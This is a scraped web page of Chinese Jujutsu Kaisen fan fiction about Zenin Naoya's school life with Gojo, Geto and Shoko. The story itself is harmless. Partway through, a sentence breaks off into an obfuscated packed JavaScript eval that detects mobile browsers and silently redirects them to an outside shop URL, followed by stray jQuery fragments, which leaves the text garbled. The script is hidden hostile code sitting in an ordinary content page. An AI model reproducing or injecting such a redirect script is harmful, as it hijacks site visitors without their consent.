“你们做的很不错。”

    本来以为会挨骂的五条悟自以为地抬起头观察夜蛾正道脸上的表情,试图分辨出他是在真心还是在讽刺。

    “老师你是真心的吗?别说假话啊。”

    夜蛾当了多年的班主任当然不会为这种话置气,他甚至因为这件事感到欣慰。

    “你们在回来的路上敏锐地发现了被咒灵影响的普通人,保护了她并完整地解决了事件,这件事做的非常好,这次的咒灵行事隐蔽,每次只召唤一个受害者,而且发生事情的现场甚至没有咒力的外泄,如果不是你们碰巧发现,都不知道还会有多少人受害,也不知道这个咒灵最终会成长到什么程度。我已经跟总监部为你们申请了这个等级任务应该有的奖金了,只是。”

    来了来了,话锋一转。

    “只是?”夏油杰接上了腔。

    夜蛾正道深吸一口气,“你们下次可不可以在探测完之后通知一下窗或者辅助监督,懒得找他们电话的话直接发个短信给我也行,提前把场所和人员安排也就不需要我们去警察署捞你们了。”

    “警察署半日游其实挺好玩的”五条悟睁着诚恳的大眼睛,说道。“好难得见这么多警察。”

    硝子点头,夏油杰赞同。

    “那直哉呢?你们不问问她对警察署的看法吗?她刚来高专就被你们带去了警察署!”

    禅院直哉正在数地板砖,被cue到猝不及防地开口:“我,我觉得挺长见识的。”

    见识到了警察不想干活,意思意思地问了一下然后出门拯救小动物。

    据说是只受伤野鸽子,呼啦呼啦去了三个人。

    但这边好像死了一二三四..加上凶手本人八人。

    突然想起来她爹之前不想干活,于是说今天天气很好适合晒太阳适合喝酒然后大早上喝得烂醉躲过了御三家的会议。

    好在也是这样的情况,在咒术界的介入之后很快便以杀人犯杀人后自杀的原因结案。没有人反对,大家对此都很满意。

    所有的尸骨都有被妥善处理,而咒灵的白骨被埋在了他同期的坟附近。

    于是她们终于知道了他的名字。斋藤诚。不是hajime,叫hajime的是大雅元,大雅元是他的同期,已于今年早些离世。

    斋藤诚。

    一个很大众的姓氏,一个很普通的名字。

    他曾经兢兢业业地维持咒术界地运转,他曾经加班加点也要完成给予他的工作。

    但这未能阻止咒术师的离去。

    咒术师大多都不正常,的确是的,正常人没几个受得了脑袋随时可能落地的工作。

    那留下来的,是因为使命感?还是就只是喜欢这样的打斗呢?是为了保护同伴呢,还是为了保护普通人呢?

    又或者是想跟同类在一起?

    那自主或不自主地死亡前,最后有什么样的想法呢?

    但来得及想来不及想都没用,不说出来谁也不知道。

    最终斋藤诚的尸骨还是被安葬到了他同期的附近,咒术界相关人士的陵园里。

    他的游戏机也一并埋了进去。

    经过调查,这次事件的7个受害者中有6个的确都曾进行过精神治疗,或多或少都曾有过倾向。

    但谁也不知道他们是不是在发作期,是不是也有可能有其他的选择。

    死人哪怕在咒术界,也是极难开口的。

    “直哉你,怎么样?”

    “挺好的。”

    没怎么样,也没有感觉怎么样。就是普通人也是,咒术师也是,死的都很难看。

    ……

    在这次事件之后,禅院直哉对游戏机生出了一定的兴趣。

    在同期的倾情推荐之下,禅院直哉购入时兴游戏机2部兼若干游戏。

    并在一通忽悠之下相信了最下面的难度是最低难度。

    怪来了但还没记住翻滚跳跃趴下的动作,被子弹碰到,嘎。

    翻滚跳跃撞上子弹,嘎。

    怎么这么多小怪,根本跳不过去,嘎。

    一个手滑翻滚下涯,嘎。

    手指打结直走下涯,嘎。

    360度旋转的大炮也是离谱,嘎。

    禅院直哉越打眉头皱得越紧。而罪魁祸首在旁边露出了邪恶的笑容,并发出恶魔的低语。

    “你,好,菜,啊。”

    这谁能忍?禅院直哉放下游戏机一脚踹了过去,被事先准备好的无下限挡在了外面。

    “终于出手了,我还在想直哉能忍悟什么时候。”

    “喂,参与忽悠的人里面也有你哦。”

    “我不会去嘲讽哦。”

    “但你喜欢看人家闹笑话。”

    夏油杰开朗一笑,然后走向那边劝架。

    那边的打闹已经上升成了武斗,速度上是可能不分上下,但打不到人是真的令人愤怒的事情。

    纵使也是千般武艺,但对目前五条悟时,唯一的方法就是把他耗晕。

    但你说那是人能做到的吗?

    显然不是。

    禅院直哉愤怒地一拳打在了五条悟,现在的五条悟右边的墙壁上,世界为之震动。

    “好力气!”家入硝子叫好。

    入学第二个星期,喜提检讨两千字。

    五条悟得意的嘴脸持续了整整一天。

    夏油杰在事后说:“刚开始玩游戏机的时候,可以先尝试一下宝可梦啊,妖怪手表啊之类的操作难度没那么高的游戏。”

    你倒是早说啊!

    但禅院直哉绝对不会给人第二次说菜的机会,她奋起了,她度过了人生第一个通宵,她凭借投射术式锻炼得来的强大反应力,与不眠不休不吃不喝的超强韧力在快天亮的时候,完成了困难版游戏的挑战。

    然后她盯着新出现的exhard难度,与其下面的详情咬牙切齿。

    「这是比困难难度更加疯狂的难度,在第一次通关后开放。」

    天杀的简单模式是骗你的,这个游戏发行商就喜欢这样欺骗新入坑的玩家让他们花样百出地死掉。

    这个公式应该是,简单模式是骗你的,他们就喜欢这样欺骗新入坑的玩家让她花样百出地死掉。

    他俩就算了,硝子你也在旁边!为什么不说话!

    第二天禅院直哉顶着黑眼圈和愤怒的神情回到了课室。

    她很想骂他们但说自己花了一个晚上才通关游戏很丢脸,而且傻傻就信了他们的鬼话也很丢脸。

    她发誓再也不信他们的鬼话,然后转头信了他们说鸵鸟沙拉很好吃。

    禅院直哉这辈子就没吃过这么难吃的肉!又柴又干又腥!yue,鸵鸟这个东西!她!记住了!

    ……

    下过那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17962154|214345||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    场雨之后,冬天就来了,银杏果的臭味也渐渐消失了。

    气温下降的很明显,禅院直哉在五分裤里套了厚实的棉袜。

    这样的冬天,大家思考也变得缓慢,空闲的时间总是聚在温暖的暖炉旁昏昏欲睡。

    像是冬蛰的动物,连咒灵都出现的更少。

    而且很快就要到新年的假期了,普通人在普通人的假期很开心,也意味着咒术师在这样的假期也会很开心。

    所以对于咒术师而言,冬天比起任何一个其他的季节都是更值得期待的。

    “北海道应该下雪了吧,有点想去北海道泡温泉。”棕头发的女孩懒洋洋地打了个哈欠,她趴在桌子上昏昏欲睡。

    夏油杰回复道:“温泉的话,东京附近也有吧,北海道会不会太远了?”

    “可是泡温泉就是要外面越冷,才显得温泉更舒服吧,就好像夏天喝冷饮会比在冰天雪地里喝冷饮要来得更舒服一点。”

    “说起来也是,也快要放冬假了,硝子你要回家吗?”

    “不回,回去没什么意思。”家入硝子干脆利落地说出了否定的答案,但她对另外一个人的选择感到些许兴趣,于是问道:“直哉你会回去吗?”

    禅院直哉正在打瞌睡,因为最近挺闲,反而能够打游戏打到很晚,所以白天就格外的困。突然听见自己的名字,她吓了一跳,条件反射地坐了起来,问道:“什,什么?”

    黑发少年笑着重复了一遍问题:“硝子问你假期要不要回家。”

    “不太想回,家里好多苍蝇。但大概率还是得回去。”黑发女孩皱着脸,看起来有些闷闷不乐。

    “不想回的话,可以跟我一起留在高专。”

    “我也很想,但主要是如果不回去,我怕有人被欺负。”

    “诶,怎么回事?”

    禅院家没有咒术天赋的人大多会脱离本家,有些会为家族继续做事打理家族的生意,或者跟普通人社会进行交流,而有些会完全脱离家族。

    分家的人自己本身没有天赋,但他们的后代中也有可能诞生有咒力天赋的孩子。而还未成长的咒术师很容易因为能够看见咒灵而夭折,所以一旦发现天赋基本都会送回本家。

    人生,地不熟。父母是非术士。在非咒术师非人的禅院家这样的孩子很容易成为被欺负的对象。

    本来禅院直哉也不想管,小男孩之间的争斗跟她毫无关系。

    但她撞见这个四五岁的小男孩过节的时候在角落偷偷哭。

    诶,作为预备家主她应该管管吧。

    结果上去关心的话一问,大大的眼睛里溢满的泪就哗得一下暴涌下来。

    没带纸巾,没带手帕。最后她是拿衣服给他擦的眼泪。

    哭的可真久啊,这小孩。第二天她就去把那几个带头欺负人的大小孩给揍了一遍。

    而且这小孩练习很努力,意外地也很聪明,也没有那种他同龄的本家孩子从家长那学来的对她的敌视或者厌恶。

    所以说实在,时不时带带他,她也挺乐意的。

    希望她出来这么久,他没有被欺负。

    “那你要不要带些礼物?”

    “什么礼物?”

    “特产之类的吧。要是是小朋友的话,是不是带着零食比较好。”

    嗯。好像可以。对放假回家没什么经验的禅院直哉如是想。